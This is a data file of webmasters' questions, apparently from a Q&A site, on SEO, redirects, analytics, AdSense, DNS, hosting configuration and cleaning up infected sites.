{"id":"10817","title":"Does your company name in an article title damage Search Engine relevance","text":"I've been wondering about this for a while but never come across a solid answer. Many websites include their name in all the title tags of their articles. This is often apparent in word-press blogs etc. eg: Tsunami hits Japan and leaves thousands homeless | My Website Name The issue I have is that Search engines strip the stop words out of this sentence to leave the words in which it compares to the body text. So if I want my article to rank well and be relevant, in this case about the terrible Tsunami that has recently struck Japan what is to STOP the MY WEBSITE NAME section of the title de-valuing the relevance of the article. Am I over-worrying? Or should I take this in to consideration? Thanks for advice in advance."}
{"id":"10816","title":"problem connecting to magento connect","text":"I'm using magento 1.4.0 and when I try to get to magento connect and download a plugin the page will say > > Error: Please check for sufficient write file permissions > > Your Magento folder does not have sufficient write permissions, which this > web based downloader requires. > > If you wish to proceed downloading Magento packages online, please set all > Magento folders to have writable permission for the web server user > (example: apache) and press the \"Refresh\" button to try again. does anyone know how I can fix this problem, thanks Update: the plugin I'm trying to use is MagentoPycho light box so I unpacked the folder into the app\/code\/local but it still doesn't show in the admin area"}
{"id":"10814","title":"cPanel bandwidth stat update frequency","text":"The bandwidth stat in cPanel updates two or three times a day. Is it my host's settings or where can I see real time bandwidth usage stat?"}
{"id":"52200","title":"Workaround for Chrome not handling backward date change in Windows","text":"I'm heavily making use of cookies for a website. Their expiry period is set to 1 day. My preferred test browser is Chrome 28, Windows 7. For a test, I need to change the date of my OS back to eg the previous month ( eg. July 28th). Obviously, doing so expiries the cookies (created on August 28th). But the problem is that all newly created cookies (as of July 28th) immediately expire. The feelong, and the Chomium bug database make me think that Chrome caches in some way the system date : I must close Chrome and restart it again to be able to store cookies again. Is there a workaround to this ?"}
{"id":"52201","title":"Searching on Google for mydomain, my domain name is shown as the page title instead of the actual page title","text":"When I search for my domain on Google, eg: `mydomain.com`, my site shows up with a title like \"MyDomain\" instead of that page's actual title. Any clues on why this happens and how to fix it? Edit: This is the code from head: <head> <meta charset=\"utf-8\" \/> <title>Συγκριση τιμών - Τιμές προϊόντων,Αναζήτηση και προσφορές<\/title> <link rel=\"publisher\" href=\"https:\/\/plus.google.com\/u\/0\/105294720755057253319\"\/> <link href=\"https:\/\/plus.google.com\/u\/0\/105294720755057253319?rel=author\"\/> <link rel=\"stylesheet\" type=\"text\/css\" href=\"http:\/\/www.seekit.gr\/template_new\/stylesheet\/960.css\" media=\"all\" \/> <link rel=\"stylesheet\" type=\"text\/css\" href=\"http:\/\/www.seekit.gr\/template_new\/stylesheet\/screen.css\" media=\"screen\" \/> <link rel=\"stylesheet\" type=\"text\/css\" href=\"http:\/\/www.seekit.gr\/template_new\/stylesheet\/color.css\" media=\"screen\" \/> <!--[if lt IE 9]> <link rel=\"stylesheet\" type=\"text\/css\" href=\"http:\/\/www.seekit.gr\/template_new\/stylesheet\/ie.css\" media=\"screen\" \/> <![endif]--> <script type=\"text\/javascript\" src=\"http:\/\/www.seekit.gr\/template_new\/js\/basket.js\"><\/script> <script type=\"text\/javascript\" src=\"http:\/\/ajax.googleapis.com\/ajax\/libs\/jquery\/1.5.2\/jquery.min.js\"><\/script> <script async type=\"text\/javascript\" src=\"http:\/\/ajax.googleapis.com\/ajax\/libs\/jqueryui\/1.8.11\/jquery-ui.min.js\"><\/script> <script> var current_url = 'http:\/\/www.seekit.gr\/'; var module_title= 'index'; <\/script> <link title=\"Seekit.gr - προσφορές\" rel=\"shortcut icon\" href=\"http:\/\/www.seekit.gr\/favicon.png\" \/> <\/head>"}
{"id":"53159","title":"Does redirect popup window affect SEO?","text":"We have multiple websites, each site servers number of countries, and we used to have Geo-Ip Auto redirect system (no one likes auto-redirect), so we implemented another redirect system also uses Geo-IP database, but showing a pop-up window (HTML layer pop-up, so it can't be rejected), this window asks the visitor if he would like to continue with this page or go to the correct website of his country. We also added a test line before showing the pop-up, so if the visitor is Googlebot, the popup will not show up :). I was wondering if this effects our websites SEO?"}
{"id":"7805","title":"Wordpress Blog Is Very Slow","text":"A few days, my website (http:\/\/www.teknoblogo.com) isn't scrolling easily (You can try scrolling) . Website very very slow. I'm using W3 Total Cache. Disabled all unnecessary plugins. But still website is very slow. What can i do ?"}
{"id":"7809","title":"How to forward a [sub]domain to another address? (not just HTTP!)","text":"I have bought domain1.me from GoDaddy... (yeah, I know... but ME domain registrars seemed quite hard to find...) I'm mainly hosted at 1and1. I have registered subdomain sub1.domain1.me and redirected it to my 1and1 account. That should eventually work fine. Then I have registered sub2.domain1.me and tried to redirect it to a box at home. It works #1 when for HTTP. I can access SSH server without any problem when I use the IP directly, but not when using sub2.domain1.me:22. The way I see this, they (GoDaddy) are redirecting only on port 80 (why would they?). I have looked at 1and1 forwarding too and they ask for an URI starting with http so I guess that's the same behavior. What are you guys doing to be able to host stuff from home (HTTP, SSH, SVN, Git, etc. etc.) using a domain name to prevent everyone to have to remember your IP??? Heeeelp! Thanks!"}
{"id":"577","title":"CDN - Content Delivery Networks. How do they work and why would I want to use one?","text":"What exactly is a Content Delivery Network (CDN), how does it work, and why would I want to use one for my web site? Which are the well-known CDNs out there?"}
{"id":"39942","title":"How to see all \"Not selected\" urls in Index Status of Google Webmaster Tools","text":"Google Webmaster Tools have the menu _Health > Index Status_ in which it shows: 1. Total indexed url's 2. Total not selected url's 3. Blocked url's For the second one that is _**Not selected**_ url's the reason for not selected is > URLs from your site that redirect to other pages or URLs whose contents are > substantially similar to other pages Where can we see all the not selected url's which are not indexed?"}
{"id":"43211","title":"What is the requirements for Google adsense?","text":"i have a blog i-World-Tech (http:\/\/i-world-tech.blogspot.in\/) . my blog age is only 35 days . i Want to know what is the requirement for Google adsense ? how many page views and age of blog is required for Google adsense ?"}
{"id":"65761","title":"Google analytics tracking code","text":"MY google analytics tracking info shows <script> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','\/\/www.google-analytics.com\/analytics.js','ga'); ga('create', 'UA-107xxx48-13', 'auto'); ga('send', 'pageview'); <\/script> but the code im the site html shows <script type=\"text\/javascript\"> var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-107xxx48-29'],['_trackPageview']); _gaq.push( ['panel._setAccount', 'UA-107xxx48-13'], ['panel._trackPageview'] ); Does difference between the 'ga send' in the code and the 'gaq.push' on the site matter?"}
{"id":"26053","title":"Hosting torrent tracker in legal countries ","text":"In what countries it is legal to host torrent traacker? I mean without future issues with laws like illegal movie, software downloading."}
{"id":"19861","title":"Facebook activity feed does not show up on website, help needed","text":"I set up a Joomla website for a client of mine with a box on the frontpage that should show the recent feeds of their facebook page. When I test it with a different page, it works. So obviously has something to do with their facebook settings. Could anyone help me or tell me what might be wrong? Any constructive answer I would highly appreciate."}
{"id":"55680","title":"What is the general practice for country TLD subdomains","text":"I'm trying to launch a website application that will focus on cities around the world, whereby TLD for each countries will be used. For example: www.website.de - Germany www.website.cn - China sub-domains will be www.berlin.website.de www.beijing.website.cn Does the approach used above have any significant advantage over this: www.berlin.website.com www.beijing.website.cn The aim of each website\/sub-domain is the same, but with specific contents tailored to the cities. My question is slightly different from: How should I structure my URLs for both SEO and localization?"}
{"id":"32147","title":"Create a filter to consider http:\/\/example.com\/foo\/bar as http:\/\/example.com\/index.php\/foo\/bar","text":"I'm using URL rewriting to make my url `http:\/\/example.com\/foo\/bar\/` to `http:\/\/example.com\/index.php\/foo\/bar`. I'm not linking the `index.php\/..` url anywhere, but for some reasons, some users arrives to the `index.php` url. In Google analytics, I have a lot of duplicates that are quite annoying to follow up the traffic. I've watched the Advanced filters but I'm struggling to make it works fine. Any regex and google analytics pro to help me out ?"}
{"id":"46673","title":"Need help in removing and forbidding some kind of malware in my website","text":"I have a website based on Joomla 2.5. Recently people with **AVG anti-virus** started to complain that some strange windows appear when they open the site. An unknown line of code with comments **\"Google search bot\"** appears in index.php files and the permissions set changes. AVG detected **Blackhole and Sweet orange exploit kits**. I removed manually all the code but a day later it appeared again. I installed OSE anti-virus plugin and RS Firewall plugin for Joomla and scanned and it said it was OK.Is it necessary to reinstall Joomla? Please, help me. Thank you in advance. Oh, I forgot to say that I can not change the FTP password."}
{"id":"6393","title":"How does AdWords' Pay-Per-Click (PPC) get determined exactly?","text":"Google updates PPC with CTR and past statistics it collects, but it is not clear how exactly and precisely Google determines the PPC for AdWords and AdSense. Could anyone explain it in detail, preferably with an example?"}
{"id":"6397","title":"Facebook company pages, why some are simple urls and some are strange long urls?","text":"I'm trying to set up this _damn FB_ page for the company where I'm working for. I think it's probably useless stuff, but I want to give a try. I came up with this page: www.facebook.com\/pages\/Poste-Certificateit-PEC-per-societa\/168391856527591 Then I saw company pages with simple URLs, like this: www.facebook.com\/serverplan.it I thought my 1st url could be re-written also as `www.facebook.com\/Poste- Certificateit-PEC-per-societa`, but it does not work. So why some **company pages** have simple URLs and some others need that long URLs? Or what am I doing wrong?! Thanks! * * * And BTW, if I'm on the wrong FB approach attempting to create _company page_ , I mean if you think a _group page_ or something else might be better from a Internet Marketing POV, plz let me know and exaplain. Thanks again."}
{"id":"50666","title":"How to effectively close a page?","text":"Before asking my question, I'll use an example to clarify the idea. Say that a company used to sell horses and then they turn into a sheeps business. While some of the old pages can be mapped to the new pages using a 301 redirect, because they're really related in the content and the company don't want to lose users and link juice, there are a lot of pages strictly related to horses that they want to shutdown. What's the best practice? Is there a way to say to users and Search Engines the content you were looking for won't be available any more? Basically a 301 redirect of the closed pages to new ones seems not so good, because you'll show a content totally unrelated to the searched one. P.S: I'm aware that probably the best fallback is to simply map those pages to the homepage but I hope in a smarter solution."}
{"id":"53392","title":"Redirecting 301 deleted files to a file or a web page?","text":"I want to redirect using 301 status some selected \"purged\" files which could be jpg\/pdf\/zip etc files to keep backlink juice when linked from external sites. For a web page I redirect them using 301 to another \"page-deleted.htm\" page. But what about the files? Should I redirect using 301 to another image\/file or the same \"page-deleted.htm\" page?"}
{"id":"2394","title":"Why use HTML entities instead of just putting Unicode characters in HTML?","text":"Let's say I want to put a non-bland character in an HTML file; for instance, '→'. Is there any reason why I should enter it as '→' instead of just putting '→' in the HTML file? Assume my HTML file is encoded & transmitted in some Unicode format."}
{"id":"26246","title":"How to diagnose slow loading web pages?","text":"Pages at my domain sometimes load very slow. The domain is registered at 101domain, server is in Europe. Reply from 91.185.209.164: bytes=32 time=60ms TTL=60 Reply from 91.185.209.164: bytes=32 time=58ms TTL=60 Reply from 91.185.209.164: bytes=32 time=64ms TTL=60 Reply from 91.185.209.164: bytes=32 time=61ms TTL=60 Is this because the domain is registered on the other side of the world?"}
{"id":"2391","title":"How to format facebook status retrieved using status.get","text":"When I retrieve my facebook status through facebook API, using status.get, the informations comes in the form of [ { \"message\": \"Does anyone here knows how to disappear and reappear again after a few months??\", \"time\": 1282146230, \"status_id\": 00000000000000, \"source\": 2915120374, \"uid\": 000000000 }, { \"message\": \"Blah blah and blah\", \"time\": 1282073572, \"status_id\": 00000000000000, \"source\": 2915120374, \"uid\": 000000000 } ] I want to format the information using css and display the updates on my blog. How do I extract the info from the above retrieved format so that I can use it on my php page and use css to style the updates??"}
{"id":"24216","title":"My site looks fine but Google is reporting \"harmful code\" - what should I do?","text":"(Note: I have not linked to my site, but you can see the address below) Visiting my site gives that typical > zeno.biyg.org contains malware. Your computer might catch a virus if you > visit this site. I have the webpage listed under my Google Webmaster account, and it says: > Unfortunately, Google has discovered harmful code on your site. Google users > will see a warning page when they attempt to visit pages within this site. > > Some of the URLs on this site redirect browsers to web pages that install > malware. This indicates that the server(s) that host pages for this site may > contain altered configuration files (such as Apache's .htaccess file). Problematic URLs on http:\/\/zeno.biyg.org\/ Last checked \/ - Details 1\/2\/12 \/viewtopic.php?f=3&t=45 - Details 1\/4\/12 > When Google last tested this page, no content was returned from your server. > Instead, the browser was redirected to a malicious web page. It is likely > that your server configuration has been modified. I have checked both those pages and they come up just fine for me. Google is saying something is redirecting (thus my site doesn't actual contain the malware) visitors to another website (which contains the malware) and I can't reproduce that or find that redirect. I've triple checked everything and cannot find what Google is saying. I've even requested a review, and Google came back saying something is still there. Basically Google seems to say that visiting my site will redirect the user to another site that is not mine. I cannot find that happening anywhere on my site. There's nothing wrong in the .htaccess file, the HTML source has nothing suspicious; I cannot reproduce this what Google is saying. I have full access to this site\/server. Any thoughts as to why Google is saying something is detected? [EDIT] I ran the site under http:\/\/sitecheck.sucuri.net\/scanner\/ and something was detected (or it's just listing malware detected based on the Google blacklist). I personally spoke to someone from Sucuri and we could not find it either. I even listed every single .htaccess content and sent it to the Security Analyst there and everything was fine."}
{"id":"15607","title":"A bounce-rate attack to manipulate SEO?","text":"This is a question to experienced people that might help us shed some light on the issue. We noticed a very strange behavior on our site, in Google Analytics. Some dude from Finland, namely, from Kouvola city is hitting one of our pages - only one page on our site, 'bout a hundred times per day, all with an average bounce rate of 90%+... This is causing our overall bounce rate to go up by 1 to 3% per day... which is very disturbing.. since we're trying to do our best in order to keep it as low as possible. And obviously having it jumped from ~24% to 27%, just because of that crazy dude is not making us happy at all... We tried implementing a geo-targeted script in order to catch this particular visitor and deliver him a juicy message, and it seemed like it helped in the beginning, it has stopped for a day or two, but now he's back... The geo-targeted script was also logging all IP addresses for page requests originating from Finland in order to find out more details and _(in order to block them on the server level, later)_.. but thing is, it was all mainly cable or DSL connections with various, but not constantly repeating IPs... we are all wondering what is he up to really ? I think that this page should be kept updated with ideas on how to combat this and perhaps someone could also shed light on what it might be ? What is the reason for doing this \"bounce-rate attack\", as I call it? There was a similar question asked on stackoverflow earlier, with no meaningful answer - here - How to stop bounce rate manipulation."}
{"id":"2398","title":"Apache Per User Directory Not Found","text":"For some reason the user directory I have for my server has stopped working whenever I go to server\/~user\/public_html\/ I get a 404 error. The files are there on the ftp, but they're not showing up from the web. It's strange because it was working just a while ago. Any help?"}
{"id":"63420","title":"Getting the keyword as a parameter from Adwords using ValueTrack","text":"I set up an AdWords campaign for website following the instructions for Google AdWords ValueTrack. One of the things that it is supposed to be able to do is pass the keyword as a URL parameter using the code `{keyword}` in the URL. I created a landing URL using the Google Analytics URL builder. I put `{keyword}` into the \"Campaign Term\" field and it came out like this: http:\/\/example.com\/landing.html?utm_source=adwords&utm_medium=cpc&utm_term=%7Bkeyword%7D&utm_content=my_content&utm_campaign=my_page When I actually run the campaign, the keyword substitution isn't happening. I'm getting the literal string `{keyword}` passed to my website. I see it in my log files. Why isn't the substitution working the way I would expect it to?"}
{"id":"63421","title":"How to tackle archived who-is personal data with opt-out?","text":"As far as I understand it, it is possible to opt-out (in the UK at least) of having your address details displayed on who-is information of a domain for non-trading individuals. What I want to know is, after opt-out, how do individuals combat archived data? Is there any enforcement of this? How many who-is websites are there which archive data and what rights do we have to force them to remove that data without paying absurd fees? In the case of capitulating to these scoundrels, what point is it in paying for the removal of archived data if that data can presumably resurface on another who-is repository? In other words, what strategy is one supposed to take, besides being wiser after the fact?"}
{"id":"57349","title":"analytics.js: how enable local remote server mode?","text":"I'm trying migrate website tracking from old Google Analytics script `ga.js` to new `analytics.js`. Currently I have enabled \"local remote server mode\" to send tracing requests to my server as well. Following code was used to enable this mode on `ga.js`: `_gaq.push(['_setLocalRemoteServerMode']);` (more info). But I can not find how to enable this feature on new analytics.js. Has anybody solved this already?"}
{"id":"63426","title":"SEO for URL where widget resides - not where content is hosted - iFrame vs DIV","text":"I do not care about SEO for the source URL of content, but would like my customers' websites to benefit from the content being served. Does it make a difference whether the content is served in iFrame of DIV? How do I optimize things?"}
{"id":"49883","title":"VPS Performance","text":"Sometimes I can see that the performance drops for my websites that are located on a VPS. Is it possible the VPS provider allocated less memory\/cpu power to my VPS? So, How I can check I get the maximum performance power from service provider?"}
{"id":"63428","title":"Reading 'Index Status' graph in Google Webmaster tools","text":"I recently found a bunch of old files that had been ftp'ed to a live production server by mistake on a static (html \/ css \/ js) site. I manually deleted these files, but today when checking in Google Webmaster tools i found this graph below. The 'update' marker is from 3\/9\/14, what i can work out is what Google is trying to tell me, are they saying that : There was a ranking update like Penguin or Panda and they penalized my site and un-indexed a load of pages which they thought were junk.. **OR** Is this showing that I updated the site by deleting the files on the server on 3\/9\/14 **OR** Is this something else ? "}
{"id":"63429","title":"RewriteRule not working at server level?","text":"I wanted to forbid some robots from doing certain things to my websites and decided to add a RewriteRule for that purpose. The rule works when put in one of my <VirtualHost *:80> _tag_ and looks like this: RewriteEngine On RewriteCond %{HTTP_USER_AGENT} libwww-perl RewriteCond %{REQUEST_METHOD} POST RewriteRule . - [F,L] However, I wanted to apply that to all my websites instead of just one of them. So with the newest version of Apache2 settings, I decided to put that code in the security.conf file. This file is defined under \/etc\/apache2\/conf- available\/... (and yes, I have a softlink from the \/etc\/apache2\/conf- enabled\/... directory.) However, if the definition is only in the conf-available\/security.conf files, it somehow gets ignored. From the documentation, it says that these Rewrite* commands all work at server level! Any idea of what I would be missing?"}
{"id":"49332","title":"sitemap.xml for two domains - This URL is not allowed for a Sitemap at this location","text":"I have two domains running on the same server with the same IP (different content). I have read that it is ok to provide only one sitemap containing information for both domains, so this is what the sitemap looks like (extract): <url> <loc>http:\/\/www.domain1.tld\/page1\/<\/loc> <changefreq>weekly<\/changefreq> <priority>0.7<\/priority> <\/url> <url> <loc>http:\/\/www.domain2.tld\/page1\/<\/loc> <changefreq>weekly<\/changefreq> <priority>0.7<\/priority> <\/url> Now when I submit the sitemap in Google Webmaster Tools I get the following error message: This url is not allowed for a Sitemap at this location. which is caused by the second domain being in the sitemap. I have read that it is possible to also provide Google, etc. with different sitemaps for each domain. **Would that be solution or can I ignore the error? What would be the best solution**"}
{"id":"57344","title":"Gtmetrix shows high loading time for first domain waiting time. How to reduce it","text":"I am wondering, why is my Domain taking long time to load? As per Gtmetrix timeline, first domain name propagation takes up to 953ms: Blocking - 53 ms Waiting - 843 ms Receiving - 57 ms Sometimes its takes up to even 2 seconds. Below is response from Header: Server Apache\/2.2 Vary Accept-Encoding Cache-Control no-cache Content-Type text\/html; charset=utf-8 Content-Encoding gzip P3P CP=\"NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM\" Date Wed, 22 Jan 2014 02:45:14 GMT Pragma no-cache Connection Keep-Alive Set-Cookie X-Mapping-alncmkhk=EDDD5D603AF7261BACF2EBF3FC8185A8; path=\/ ed2f1641e2a81373908380a3799b0d29=59n2seqdchc1j6lvl48lepevg0; path=\/ Content-Length 7806 Request Headers Host www.mycarhelpline.com User-Agent Mozilla\/5.0 (X11; Linux i686 on x86_64; rv:25.0) Gecko\/20100101 Firefox\/25.0 Accept text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8 Accept-Language en-US,en;q=0.5 Accept-Encoding gzip, deflate Connection keep-alive Any advice - what to do correctly to decrease this substantially by over 90%?"}
{"id":"58672","title":"Problems with SSL certificate in IIS 8","text":"I bought certificate only for `name_domain.com` under the configuration for IIS 8 (on Windows Server 2012). I have 301 redirects from `www.name_domain.com` to `https:\/\/name_domain.com`. If I open the following link in a browser: `www.name_domain.com` , there's a certificate error. Should I buy a new certificate or maybe there is another solution to the problem?"}
{"id":"49612","title":"Recommendations for redirecting a large website to a new website?","text":"I have a clients website terminating shortly in 2 weeks and being replaced by a new website (new domain) that has already been live for a couple of months. The plan for the 301 redirects was intended to be gradual over a few months due to the size of the site, however due to technical difficulties around the URL structure they could not take place. It is a mammoth, multi-lingual website with up 300,000 indexed pages. The plan is to implement bulk redirects to the relevant folders on the new site, however this has to take place with a week. I have heard Matt Cutts once say that anything over 500 redirects gets flagged with his team as potentially spammy. I'd be grateful if anybody had any advice regarding this task and if what I'm doing could be dangerous with consequences?"}
{"id":"49615","title":"Should 404 pages feature in your sitemap.xml","text":"I tend to generate the sitemaps for my static sites (no CMS) by using a service such as xml-sitemaps.com. They way this works if you input your homepage and it crawls all the internal links of a site and then generates you a `.xml` file. The problem with this is because its crawling from the homepage if a page if not linked to i.e. a 404 page it won't be included in the sitemap. Is it good practice to have the 404 page in there?"}
{"id":"1858","title":"How to show all albums in Wordpress NextGen Gallery","text":"I have a Wordpress install setup as a simple CMS. I am starting to use the NextGen Gallery plugin to support photo pages. I expect to have a number of people uploading pictures, and not all of them are going to be technical enough to edit a page and insert the right tags to show new albums. I have spent some time looking in the obvious places (other than the php source code), but I haven't found a way to make a page that shows **all** the albums that have been uploaded to the system. I am sure this has to be an easy thing to do, so maybe I'm just not thinking the right way. Any help is much appreciated. Clarification: I know that I can use the gallery tag and put in all the IDs for gallerys in the system now, but I want the page to automatically update to show any new gallerys added to the system at a later date."}
{"id":"1859","title":"What features to look for in a SharePoint host","text":"I have a friend who is looking for SharePoint hosting (free is nice) for a not-for-profit orgranization. She is considering http:\/\/myhosting.com and http:\/\/sharepointhosting.com. I know very little about SharePoint, so I'm looking for advice on what features to look for in a host. Also, comments on the two being considered are welcome, as well as recommendations for any others. Thank you."}
{"id":"59796","title":"GA Goals not funnelling properly","text":"My GA funnels aren't funnelling properly, and display 100% for each step in the goal. Below is a screenshot of the goal visualization, and my edit goal page in case I've set it up incorrectly (don't think I have though). To view actual signup flow process, here's a link, http:\/\/bgcd.co\/1kYeL09. Any feedback and advice is much appreciated.  "}
{"id":"53003","title":"How to use NOINDEX,FOLLOW with paginated results except index page","text":"I am running a classified website. **At the moment I am using lazy loading with jquery to load content while scrolling**. > I got to know that using jquery loading is not good for search-engine bots > and java-script disabled web browsers. So I added pagination links to appear if the javascript are disabled.I use same page(index.php) to generate paginated results as follows, 1st page --->http:\/\/www.example\/classified\/index.php 2nd page --->http:\/\/www.example\/classified\/index.php?page_id=2 3rd page --->http:\/\/www.example\/classified\/index.php?page_id=3 ....etc _**I don't want to add paginated results to search engines.But I need my index.php to be in search engines_**. So as for some articles I decided to use **\"noindex,follow\"** in the meta robots tag in index.php.But as for my knowledge this will also skip indexing the index.php also. What my problem is will it work? or what should I do for index my index.php without paginated results in search engines? Thank you"}
{"id":"2175","title":"How do you backup your websites?","text":"I was just wondering how the community backs up their websites? I take a nightly dump the database and shift it across onto another server which then gets backed up onto removable media. It is fairly automated and seems to work but I would be interested to hear what others have to say."}
{"id":"59467","title":"How to block user agent from accessing my WordPress site with htaccess?","text":"I have noticed large amount of traffic coming to my site from different IP's with user agent. Mozilla\/5.0 (compatible; SiteExplorer\/1.0b; +http:\/\/siteexplorer.info\/) I don't have much experience with Apache servers and hope someone can explain to me how to actually block this from accessing my site with _.htaccess_ file. I tried with SetEnvIfNoCase User-Agent \"^siteexplorer?$\" bad_user Deny from env=bad_user but it's not working."}
{"id":"49477","title":"How to prevent duplicate content penalty in this special case","text":"I am building a micro-blogging page where everyone can post about everything and it's shown on some kind of a post-it-wall. Older posts disappear fast (depending how much is posted, of course). Users can't access a single post with links on the page itself, but I've implemented an algorithm to have a single post on top of all the other posts with a direct link which I will include in a dynamically generated xml-sitemap. The links look like this: www.site.com\/text-of-post-a-123 www.site.com\/text-of-post-b-124 etc. Now I fear that my pages will get a duplicate content warning, as the only difference between those 2 pages will be the first post, the following posts would be the same (given the exact same time of a request). I know about the canonical tag, but that's dealing with the whole page. Is there any way I can show SEs, that only a part of my page is relevant? Thank you for your ideas!"}
{"id":"14045","title":"Can Adwords Advertisers see which Adsense Publishers send them traffic?","text":"I have a blog with adsense on it. An advertisement I see a lot from my adsense is a Telus phone banner. If people click this Telus banner ad and go to Telus website, will Telus be able to see where these people came from? For example, can they see my blog url on their google-analytic Referrals section (assuming they have one) ??"}
{"id":"49473","title":"Will Google and other search engines follow IP address only sites (i.e., no URL)","text":"Will Google and other search engines follow links to and index sites that don't have a URL, but instead just use their IP address's (obviously they would need a unique IP) ?"}
{"id":"14042","title":"Why is Project Wonderful mostly only used for web comics?","text":"I've looked a few times at placing ads on my site, but the only ad system I've liked is Project Wonderful. The problem with it is that almost every existing publisher(and thus, probably advertiser) is web comics. My website isn't related to web comics. So, is there a reason that it's used almost exclusively by web comics, or was that just what's happened so far? Or what?"}
{"id":"48207","title":"map a sub page of a domain to google sites","text":"I control a subpage of a site: `economics.university.edu\/summerschool` I have access to CNAME, etc. However I want to use Google sites to create the site and then map the URL above to my Google site. In other words, someone on the university site that navigated to the summer school page would be redirected to the Google site transparently. However I keep getting this error from Google: \"The format of the web address is unsupported.\" Is this possible?"}
{"id":"14048","title":"mod_rewrite rule for wildcard subdomains?","text":"Sorry if this has been covered, I can't find anything on this specifically. I have wildcard subdomains on (*.mysite.com) I need a mod_rewrite expression for this rewrite: bob.mysite.com => mysite.com\/users\/index.php?user=bob bob.mysite.com\/profile\/ => mysite.com\/users\/index.php?user=bob\/profile\/ Obviously \"bob\" and \"profile\" are just examples, I need the general case. Thanks for your help!"}
{"id":"1423","title":"Which minimum browser or screen resolution should I target my web apps?","text":"When making the decision on the minimum requirements for a web application on client machines: 1. **Browsers** - Which browsers should one target at very minimum 2. **Screen Resolution** - Which screen resolution should one target at very minimum To ensure the usability of the application is not compromised"}
{"id":"3260","title":"What are the consequences of leaving a domain name's TTL value low","text":"My host recommends lowering the TTL value of my domain prior to making DNS changes and then suggests that I should raise them after changes are finsihed. What are the negative consequences of leaving the values low?"}
{"id":"45076","title":"Need advice on best strategy for removing these bad links","text":"We recently took on a new client whose previous SEO company had partaken in some dodgy link building tactics. They appear to have done some blog comment spam, very poorly. The situation we are now in is this: We have a site with an internal page deemed more important than the homepage (the homepage has 60 linking root domains and the internal page 879). It looks as though the previous SEO company submitted a disavow request, there's a message in Webmaster Tools from a few weeks back saying it had been received, but no further correspondence. I have doubts as to whether this disavow request was done correctly... Plus I'm not sure that Google has issued the site a warning yet as they are ranking position one for the keywords on the internal page. Our clients want us to handle this in the correct manner, whether it be to simply ignore it and wait for Google to send a warning about the links, remove the offending internal page and leave a 404, or try to disavow the links that Google doesn't know about yet from 800+ websites. Suggestions for the best practice for dealing with this situation?"}
{"id":"49646","title":"Most linked content is registration. How do i remove it?","text":"In webmaster tools > links to your site, I have two links showing: my homepage with 12 links and \/index.php\/component\/users\/?view=registration with 3077 links. Not only is this the wrong registration page, its also highly weird that I have apparently so many links to the registration page. I had some dodgy user registrations in the past and wonder if this is connected. How can I remove these links?"}
{"id":"3267","title":"Does specifying explicit image dimensions help site performance?","text":"I ran some audits on a new web application we are about to launch. Chromium is suggesting in network utilization that a few images on our site do not have height\/width dimensions explicitly declared. Will this really help performance? Aside from the browser not having to decide how to display the image and basically being told to use X height and Y width for an image, how can this help \"network utilization\"? Any other comments regarding this would be appreciated!"}
{"id":"58163","title":"Combine www and non-www sites status in Google Webmaster Tools","text":"I added a URL to my Webmaster account which was the \"www\" URL version of my website. Recently I understood that pages doesn't index in \"Index status\", so I added another website which was the \"non-www\" URL of my site. Now I can see that the pages are indexed. But how can I combine both of them together to see the result of both of them as one website?"}
{"id":"5127","title":"Can I have multiple Adsense accounts?","text":"Is it possible for me to have more than one adsence account, or would that violate Google's terms of service in some way?"}
{"id":"5437","title":"Does tagging content affect SEO?","text":"Tagging content (i.e. categorizing content using \"tags\") is a sensible way to group content on a web site, but does tagging actually affect SEO? From an SEO standpoint, how does tagging content affect search ranking? Is there any way to optimize the set of tags for SEO? Should I limit the number of tags in any way?"}
{"id":"60224","title":"Gmail signature with an image is randomly displayed automatically","text":"When I setup an Email signature for a client on a Gmail account, the image is not being displayed when I look at it on my own Gmail account, but with other Gmail accounts it works. I tried different image services, I tried setting it on a unique domain, but it seems completely random. Any ideas why it happens? On my Gmail I setup \"Always display external images\".. Images: Always display external images - Learn more Ask before displaying external images * * * From the Gmail help files: Choose whether to show images Gmail automatically shows you the images in your messages. If you have a slow Internet connection or limited mobile data, you may want to change your setting so that Gmail asks you before showing images. Choosing not to show images automatically On a computer On an Android phone or tablet On an iPhone or iPad How Gmail makes images safe Some senders try to use externally linked images in harmful ways, but Gmail takes action to ensure that images are loaded safely. Gmail serves all images through Google’s image proxy servers and transcodes them before delivery to protect you in the following ways: Senders can’t use image loading to get information like your IP address or location. Senders can’t set or read cookies in your browser. Gmail checks your images for known viruses or malware. In some cases, senders may be able to know whether an individual has opened a message with unique image links. As always, Gmail scans every message for suspicious content and if Gmail considers a sender or message potentially suspicious, images won’t be displayed and you’ll be asked whether you want to see the images."}
{"id":"60739","title":"Hosting in the UK, Trace Route goes to US","text":"OK so I am a bit confused as to why when I do a trace route for a domain hosted in the UK has some cities in the US in the hops? **Hop** **Host name** 1 - 2 xe-4-2-0.er2.dfw2.us.above.net 3 ae2.cr2.dfw2.us.above.net 4 ae4.cr1.dfw2.us.above.net 5 xe-4-2-0.cr1.iah1.us.above.net 6 ae2.cr1.dca2.us.above.net 7 ae4.mpr2.lhr2.uk.above.net 8 ae5.mpr1.lhr1.uk.above.net 9 94.31.41.142.ipyx-068416-002-zyo.above.net 10 - 11 2e1c32b5.lon.100tb.com Trace Complete If im not mistaken it is going to the states too, whilst i am in the UK and the server also in the UK, why is it going there? Does it defeat the purpose of hosting in the UK?"}
{"id":"28546","title":"Web developer has become uncooperative, what should we do to rescue our site?","text":"What can an individual or a company do if the web designer who has designed their website becomes completely uncooperative? In our case 1. He refuses to meet with us for discussions. 2. He refuses to give us training on the effective use and management of the website he has designed for us (and has been paid in full for) despite this training being part of the original contract. 3. Last year he disappeared for a number of months ,refused to answer emails or phobe calls and was totally unavailable to help us 4. He refuses to give us the details of the hosting of our website. We have totally lost faith in this arrogant and unreasonable guy and would like to break off all relationships with him but ,it appears, he's got us over a barell"}
